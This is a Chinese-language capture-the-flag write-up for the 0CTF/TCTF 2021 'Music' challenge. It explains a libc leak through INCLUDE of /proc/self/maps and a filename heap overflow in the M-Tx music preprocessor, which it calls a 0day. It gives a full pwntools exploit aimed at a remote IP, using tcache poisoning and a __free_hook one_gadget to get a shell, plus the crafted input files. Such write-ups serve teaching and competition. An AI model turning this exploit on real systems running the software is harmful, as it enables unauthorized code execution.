0CTF/TCTF 2021 Music writeup

​ 接手这个题的时候从 kjdy 得知这个题是个 0day 题,并且给了这个二进制的文档,特别注意了 INCLUDE 操作。最重要的是,kjdy 提示这个人的代码风格及其离谱,不像是个正常人。(kjdy yyds)

​ 文档: https://mirror-hk.koddos.net/CTAN/support/m-tx/doc/mtxdoc.pdf

​ 文档中提到 voice 行数 > 256 时会触发崩溃。经测试,这是 bss 上的溢出引发 segfault,只能溢出一点点,没用。

​ INCLUDE 功能似乎能直接 INCLUDE: /home/pwn/flag,本地可以打印 flag,远程不行,考虑 getflag 是 setuid 程序。

​ 之后开始读逻辑,审源码,以及在 ida 中审计二进制文件(许多有问题的代码被优化掉了)。几个小时后审出来 sprintf 的溢出。图中 v4, v5都能到256的长度。但是这个二进制开了 FORTIFY 保护,没办法溢出。

​ 再之后发现了可以通过 INLUCDE: /proc/self/maps 来泄露 libc,但是泄露完程序会直接崩溃。读文档,发现 Enable: ignoreErrors 可以阻止崩溃,而且开启 debugModebeVerbose 之后能够获得更加详细的 log。

​ 把一些有用没用的选项加进来,泄露地址的mtx文件长这样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Title: Net soos ek is
Composer: Charlotte Elliott
Style: SEPTET
Sharps: 2
Meter: 3/4
Space: 9
START: L:
Enable: debugMode
Enable: beVerbose
Enable: doLyrics
Enable: ignoreErrors

INCLUDE: /proc/self/maps
aaaaa

​ 之后需要找一个任意地址写,继续审代码。既然 sprintf 行不通,最危险的函数就是 strcpy 了。于是在 ida 里面搜索所有 strcpy 的引用。

​ 首先找到的是 addUptext 函数,里面如果 voice 能够超长的话,可以有个 strcpy 可以溢出。构造了两个小时,没办法构造,放弃。

​ 之后在审到头秃的时候,找到了关键的漏洞点。

​ pushFile 中 v4->actualfile_NAME 只有 120 字节大小,文件名却可以有 255 字节大小。这就造成了堆上的溢出,实际上文件名最多可以有 200 字节,能够溢出 80 字节。再加上 Enable: ignoreErrors ,即使文件不存在也不会直接死掉。再通过套娃 INCLUDE ,就可以一定程度上控制 malloc、free 的顺序。所以就可以开始堆风水了。

​ 程序中有 4 个地方会用到堆分配:

  1. 上传文件的缓冲 buffer,size 和上传的数据大小有关,calloc 分配,分配后会被释放。
  2. pushFile 中的malloc,分配 file_node 结构体(溢出点), size: 0x1a0
  3. 打开一个新文件产生的 FILE 结构体, size: 0x1e0
  4. io 输入缓冲区,size: 0x1010

​ 正常的话,file_node 结构体溢出的下一块 chunk 要么是 io 缓冲区 (unsorted bin),要么是 FILE 结构体。 Unsorted bin 非常难用,FILE 结构体分配过后控制不了写的内容,就算打 FSOP 也过于麻烦。所以还是考虑能不能通过 upload 构造一下堆布局。

​ 如果 upload 一个 0x190 大小的文件,就会在 tcache 里面留下一个 0x1a0 的 chunk。多分配几个就可以有内存连续的 0x190 大小的 chunk 在 tcache 里面成链。但是难顶的链里的 chunk 是从内存高地址排向内存低地址的 … (这样就没办法通过前面的 chunk 改后面的 chunk 的 fd 指针,达到任意地址分配)

​ 之后就是一通玄学操作(我不想回忆了),最后构造出了内存中连续的 0x1a0, 0x1e0, 0x1a0 的 freed chunk。分别叫 chunk1, chunk2, chunk3 吧。

​ chunk1 通过溢出改写 chunk2 的 size 为 0x1a0,经过 free 后,tcache 里会有 freelist -> ... -> chunk2 -> chunk3 -> ... 的情况。

​ 再次分配通过 chunk2 改 chunk3 的 fd,到 freehook,然后用 one gadget 拿到 shell。

​ 堆风水还有很多细节坑,不想回忆了。。。

​ exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
from pwn import *
import os

from pwnlib.util.cyclic import cyclic
# from LibcSearcher import LibcSearcher
# from io_file import *

file_crack = './chall'
glibc = ''
# domain_name = '127.0.0.1'
domain_name = '111.186.58.135'
port = 12580
remo = 1
archive = 'amd64'

context(os='linux', arch=archive, log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']


def complement_code_32(num):
return num & 0xffffffff


def complement_code_64(num):
return num & 0xffffffffffffffff


elf = ELF(file_crack)
if remo:
n = remote(domain_name, port)
else:
if glibc:
n = elf.process(env={'LD_PRELOAD': glibc})
else:
n = elf.process()


def z():
if remo == 0:
gdb.attach(n)
pause()


def upload(index, size, content):
n.sendlineafter(b"Your choice:", b"1")
n.sendlineafter(b"Index:", str(index).encode())
n.recvuntil(b"Your filename: ")
r = n.recvline()[:-1]
n.sendlineafter(b"Your file length:", str(size).encode())
n.sendafter(b"Your file content:", content)
return r

def show():
n.sendlineafter(b"Your choice:", b"2")
n.sendlineafter(b"Index:", b"0")
n.recvuntil(b"[heap]\n8 >> ")
s = n.recv(12)
n.sendlineafter(b"Do you want to show the result?[y/n]", b"n")
return s

def gen(k):
n.sendlineafter(b"Your choice:", b"2")
n.sendlineafter(b"Index:", str(k))
n.sendlineafter(b"Do you want to show the result?[y/n]", b"n")


with open(os.path.abspath("../test.mtx"), 'rb') as f:
content = f.read()

with open(os.path.abspath("../test1.mtx"), 'rb') as f:
content3 = f.read()


contentk = content3
filename0 = upload(0, len(content), content)

# content5 = b"c2+ e4 g | b4d- c1 d c2 |\nc8 g+ e g c- g+ e g | d g f g c- g+ e g |".ljust(0x1000, b'\x00')
content5 = b"aaaaaaaaaaaaa".ljust(0x190, b'\x00')
filename5 = upload(5, len(content5), content5)


content6 = content5.ljust(0x1d0, b'\x00')



# content1 = b"INCLUDE: " + filename5 # + b'\n' + b"c2+ e4 g | b4d- c1 d c2 |\nc8 g+ e g c- g+ e g | d g f g c- g+ e g |"
content1 = b"INCLUDE: " + b'x'*134 + p64(0x1a0)
content1 = content1.ljust(0x190, b'\x00')
filename1 = upload(1, len(content1), content1)

# gen(6)


content2 = b"INCLUDE: " + filename1 # + b'\n' + b"c2+ e4 g | b4d- c1 d c2 |\nc8 g+ e g c- g+ e g | d g f g c- g+ e g |"
content2 = content2.ljust(0x1d0, b'\x00')
filename2 = upload(2, len(content2), content2)

# n.interactive()
# gen(7)

content4 = content5.ljust(0x190, b'\x00')
filename4 = upload(4, len(content4), content4)

s = show()
libc_base = int(s, 16)
print(hex(libc_base))

content9 = (b"INCLUDE: " + b'a'*198 + b"bbbbbbbb" + p64(libc_base + 0x1eeb28)).ljust(0x1d0, b'\x00')
filename9 = upload(9, len(content9), content9)


content8 = content5.ljust(0x190, b'\x00')
filename8 = upload(8, len(content8), content8)

content7 = contentk + b"INCLUDE: " + filename9
content7 = content7.ljust(0x1e0, b'\x00')
filename7 = upload(7, len(content7), content7)


# filename6 = upload(6, len(content6), content6)

# content3 += b"INCLUDE: " + filename2 + b"\n\nINCLUDE: " + filename4 + b'\n'
# content3 = content3.ljust(0x2070, b'\x00')
# filename3 = upload(3, len(content3), content3)
content3 += b"INCLUDE: " + filename2 + b'\n\n'
# content3 += b"INCLUDE: " + b'a'*134 + p64(0x1a0)
content3 = content3.ljust(0x190, b'\x00')
filename3 = upload(3, len(content3), content3)

gen(3)
gen(7)

z()

content10 = p64(libc_base + 0x55410)
filename10 = upload(10, len(content10), content10)
# content11 = b"INCLUDE: " + p64(libc_base + 0x55410)
content11 = b"INCLUDE: " + p64(libc_base + 0xe6e73)
filename11 = upload(11, len(content11), content11)
content12 = b"INCLUDE: " + filename11
filename12 = upload(12, len(content12), content12)
content13 = b"INCLUDE: " + filename12
filename13 = upload(13, len(content13), content13)
content14 = b"INCLUDE: " + filename13
filename14 = upload(14, len(content14), content14)
content15 = contentk + b"INCLUDE: " + filename14
filename15 = upload(15, len(content15), content15)

gen(15)
# print(hex(len(content)))

"""
file3 -> file2 -> file1 -> file5 ....
-> file4 == c2+ ....
"""


n.interactive()


# 7b0 -> d30 -> ee0

test.mtx:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Title: Net soos ek is
Composer: Charlotte Elliott
Style: SEPTET
Sharps: 2
Meter: 3/4
Space: 9
START: L:
Enable: debugMode
Enable: beVerbose
Enable: doLyrics
Enable: ignoreErrors

INCLUDE: /proc/self/maps
aaaaa

test1.mtx

1
2
3
4
5
6
7
8
9
10
11
12
13
Title: Net soos ek is
Composer: Charlotte Elliott
Style: SEPTET
Sharps: 2
Meter: 3/4
Space: 9
START: L:
Enable: debugMode
Enable: beVerbose
Enable: doLyrics
Enable: ignoreErrors


注意 test1.mtx 下面两个空行是必须的。